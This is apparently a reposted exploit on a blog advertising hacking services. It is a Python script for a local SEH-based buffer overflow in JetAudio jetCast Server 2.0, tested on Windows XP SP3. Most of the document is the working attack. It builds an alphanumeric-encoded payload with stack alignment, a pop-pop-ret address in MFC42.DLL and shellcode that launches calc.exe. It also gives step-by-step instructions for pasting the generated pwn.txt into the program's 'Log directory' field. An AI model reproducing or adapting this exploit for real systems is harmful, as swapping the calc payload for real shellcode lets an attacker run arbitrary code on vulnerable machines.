Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86387529

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: JetAudio jetCast Server 2.0 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow
# Date: May 13th, 2019
# Author: Connor McGarr (https://connormcgarr.github.io)
# Vendor Homepage: http://www.jetaudio.com/
# Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe
# Version v2.0
# Tested on: Windows XP SP3 EN

# TO RUN:
# 1. Run python script
# 2. Copy contents of pwn.txt
# 3. Open jetCast
# 4. Select Config
# 5. Paste contents of pwn.txt into "Log directory" field
# 6. Click "OK"
# 7. Click "Start"

# For zeroing out registers before manual shellcode
zero = "\x25\x01\x01\x01\x01"           	# and eax, 0x01010101
zero += "\x25\x10\x10\x10\x10"          	# and eax, 0x10101010

# Save old stack pointer
restore = "\x54"                                # push esp
restore += "\x59"                               # pop ecx
restore += "\x51"                               # push ecx

# Align the stack to 0012FFAD. Leaving enough room for shell. Using calc.exe for now.
# 4C4F5555 4C4F5555 4D505555
alignment = "\x54"				# push esp
alignment += "\x58"				# pop eax
alignment += "\x2d\x4c\x4f\x55\x55"		# and eax, 0x4C4F5555
alignment += "\x2d\x4c\x4f\x55\x55"		# and eax, 0x4C4F5555
alignment += "\x2d\x4d\x50\x55\x55"		# and eax, 0x4D505555
alignment += "\x50"				# push eax
alignment += "\x5c"				# pop esp

# calc.exe - once again, giving you enough room with alignment for shell. Calc.exe for now.
# 2C552D14 01552D14 01562E16
shellcode = zero
shellcode += "\x2d\x14\x2d\x55\x2c" 		# sub eax, 0x2C552D14
shellcode += "\x2d\x14\x2d\x55\x01" 		# sub eax, 0x01562D14
shellcode += "\x2d\x16\x2e\x56\x01" 		# sub eax, 0x01562E16
shellcode += "\x50" 				# push eax

# 24121729 24121739 2414194A
shellcode += zero
shellcode += "\x2d\x29\x17\x12\x24" 		# sub eax, 0x24121729
shellcode += "\x2d\x39\x17\x12\x24"     	# sub eax, 0x24121739
shellcode += "\x2d\x4a\x19\x14\x24"     	# sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A)
shellcode += "\x50" 				# push eax

# 34313635 34313434 34313434
shellcode += zero
shellcode += "\x2d\x35\x36\x31\x34" 		# sub eax, 0x34313635
shellcode += "\x2d\x34\x34\x31\x34" 		# sub eax, 0x34313434
shellcode += "\x2d\x34\x34\x31\x34" 		# sub eax, 0x34313434
shellcode += "\x50" 				# push eax

# 323A1245 323A1245 333A1245
shellcode += zero
shellcode += "\x2d\x45\x12\x3a\x32" 		# sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x32" 		# sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x33" 		# sub eax, 0x333A1245
shellcode += "\x50"				# push eax

# Restore old stack pointer. MOV ECX,ESP
move = zero
move += "\x2d\x40\x3f\x27\x11" 			# sub eax, 0x403F2711
move += "\x2d\x3f\x3f\x27\x11" 			# sub eax, 0x3F3F2711
move += "\x2d\x3f\x3f\x28\x11" 			# sub eax, 0x3F3F2811
move += "\x50" 					# push eax


payload = "\x41" * 520
payload += "\x70\x06\x71\x06"			# JO 6 bytes. If jump fails, default to JNO 6 bytes into shellcode.
payload += "\x2d\x10\x40\x5f"			# pop pop ret MFC42.DLL
payload += "\x41" * 2				# Padding to reach first instruction
payload += restore
payload += alignment
payload += shellcode
payload += move
# Using ECX for holding old ESP. \x41 = INC ECX
# so using \x42 = INC EDX instead.
payload += "\x42" * (5000-len(payload))

f = open('pwn.txt', 'w')
f.write(payload)
f.close()